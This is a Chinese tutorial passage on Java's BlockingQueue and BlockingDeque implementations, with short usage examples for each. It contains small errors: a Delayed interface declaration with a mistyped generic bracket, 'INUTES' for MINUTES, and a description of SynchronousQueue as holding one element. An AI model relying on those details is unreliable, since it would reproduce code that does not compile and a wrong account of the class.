ArrayBlockingQueue 是一个有界的阻塞队列,其内部实现是将对象放到一个数组里。有界也就意味着,它不能够存储无限多数量的元素。它有一个同一时间能够存储元素数量的上限。你可以在对其初始化的时候设定这个上限,但之后就无法对这个上限进行修改了(译者注: 因为它是基于数组实现的,也就具有数组的特性: 一旦初始化,大小就无法修改)。 ArrayBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是在使用 ArrayBlockingQueue 的时候对其初始化的一个示例:

BlockingQueue queue = new ArrayBlockingQueue(1024);
queue.put("1");
Object object = queue.take();

以下是使用了 Java 泛型的一个 BlockingQueue 示例。注意其中是如何对 String 元素放入和提取的:

BlockingQueue<String> queue = new ArrayBlockingQueue<String>(1024);
queue.put("1");
String string = queue.take();

延迟队列 DelayQueue

DelayQueue 实现了 BlockingQueue 接口。

DelayQueue 对元素进行持有直到一个特定的延迟到期。注入其中的元素必须实现 java.util.concurrent.Delayed 接口,该接口定义:

public interface Delayed extends Comparable<Delayed< {
    public long getDelay(TimeUnit timeUnit);
}

DelayQueue 将会在每个元素的 getDelay() 方法返回的值的时间段之后才释放掉该元素。如果返回的是 0 或者负值,延迟将被认为过期,该元素将会在 DelayQueue 的下一次 take 被调用的时候被释放掉。

传递给 getDelay 方法的 getDelay 实例是一个枚举类型,它表明了将要延迟的时间段。TimeUnit 枚举将会取以下值:

  • DAYS
  • HOURS
  • INUTES
  • SECONDS
  • MILLISECONDS
  • MICROSECONDS
  • NANOSECONDS

正如你所看到的,Delayed 接口也继承了 java.lang.Comparable 接口,这也就意味着 Delayed 对象之间可以进行对比。这个可能在对 DelayQueue 队列中的元素进行排序时有用,因此它们可以根据过期时间进行有序释放。 以下是使用 DelayQueue 的例子:

public class DelayQueueExample {
    public static void main(String[] args) {
        DelayQueue queue = new DelayQueue();
        Delayed element1 = new DelayedElement();
        queue.put(element1);
        Delayed element2 = queue.take();
    }
}

DelayedElement 是我所创建的一个 DelayedElement 接口的实现类,它不在 java.util.concurrent 包里。你需要自行创建你自己的 Delayed 接口的实现以使用 DelayQueue 类。

链阻塞队列 LinkedBlockingQueue

LinkedBlockingQueue 类实现了 BlockingQueue 接口。

LinkedBlockingQueue 内部以一个链式结构(链接节点)对其元素进行存储。如果需要的话,这一链式结构可以选择一个上限。如果没有定义上限,将使用 Integer.MAX_VALUE 作为上限。

LinkedBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是 LinkedBlockingQueue 的初始化和使用示例代码:

BlockingQueue<String> unbounded = new LinkedBlockingQueue<String>();
BlockingQueue<String> bounded   = new LinkedBlockingQueue<String>(1024);
bounded.put("Value");
String value = bounded.take();

具有优先级的阻塞队列 PriorityBlockingQueue

PriorityBlockingQueue 类实现了 BlockingQueue 接口。

PriorityBlockingQueue 是一个无界的并发队列。它使用了和类 java.util.PriorityQueue 一样的排序规则。你无法向这个队列中插入 null 值。 所有插入到 PriorityBlockingQueue 的元素必须实现 java.lang.Comparable 接口。因此该队列中元素的排序就取决于你自己的 Comparable 实现。 注意 PriorityBlockingQueue 对于具有相等优先级(compare() == 0)的元素并不强制任何特定行为。

同时注意,如果你从一个 PriorityBlockingQueue 获得一个 Iterator 的话,该 Iterator 并不能保证它对元素的遍历是以优先级为序的。 以下是使用 PriorityBlockingQueue 的示例:

BlockingQueue queue   = new PriorityBlockingQueue();
//String implements java.lang.Comparable
queue.put("Value");
String value = queue.take();

同步队列 SynchronousQueue

SynchronousQueue 类实现了 BlockingQueue 接口。

SynchronousQueue 是一个特殊的队列,它的内部同时只能够容纳单个元素。如果该队列已有一元素的话,试图向队列中插入一个新元素的线程将会阻塞,直到另一个线程将该元素从队列中抽走。同样,如果该队列为空,试图向队列中抽取一个元素的线程将会阻塞,直到另一个线程向队列中插入了一条新的元素。 据此,把这个类称作一个队列显然是夸大其词了。它更多像是一个汇合点。

BlockingDeque 的例子

既然 BlockingDeque 是一个接口,那么你想要使用它的话就得使用它的众多的实现类的其中一个。java.util.concurrent 包提供了以下 BlockingDeque 接口的实现类: LinkedBlockingDeque。

以下是如何使用 BlockingDeque 方法的一个简短代码示例:

BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
deque.addFirst("1");
deque.addLast("2");
 
String two = deque.takeLast();
String one = deque.takeFirst();

链阻塞双端队列 LinkedBlockingDeque

LinkedBlockingDeque 类实现了 BlockingDeque 接口。

deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

LinkedBlockingDeque 是一个双端队列,在它为空的时候,一个试图从中抽取数据的线程将会阻塞,无论该线程是试图从哪一端抽取数据。

以下是 LinkedBlockingDeque 实例化以及使用的示例:

BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
deque.addFirst("1");
deque.addLast("2");
 
String two = deque.takeLast();
String one = deque.takeFirst();